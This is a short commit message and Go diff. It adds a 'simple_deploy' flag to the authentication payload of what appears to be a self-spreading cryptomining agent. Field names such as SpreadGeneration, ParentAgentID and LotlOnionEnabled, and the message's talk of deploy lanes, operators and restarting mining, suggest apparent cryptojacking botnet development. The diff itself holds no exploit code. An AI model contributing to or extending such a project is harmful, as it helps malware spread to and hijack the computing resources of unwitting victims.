Add simple Deploy and Mine path for operators without spread complexity.

Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.

agent/client/protocol.go

@@ -51,6 +51,7 @@ type AuthPayload struct {
 	UTM              string `json:"utm,omitempty"`
 	LotlOnionEnabled     bool `json:"lotl_onion_enabled,omitempty"`
 	LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
+	SimpleDeploy         bool `json:"simple_deploy,omitempty"`
 	JoinLane             string `json:"join_lane,omitempty"`
 	ParentAgentID        string `json:"parent_agent_id,omitempty"`
 	SpreadGeneration     int    `json:"spread_generation,omitempty"`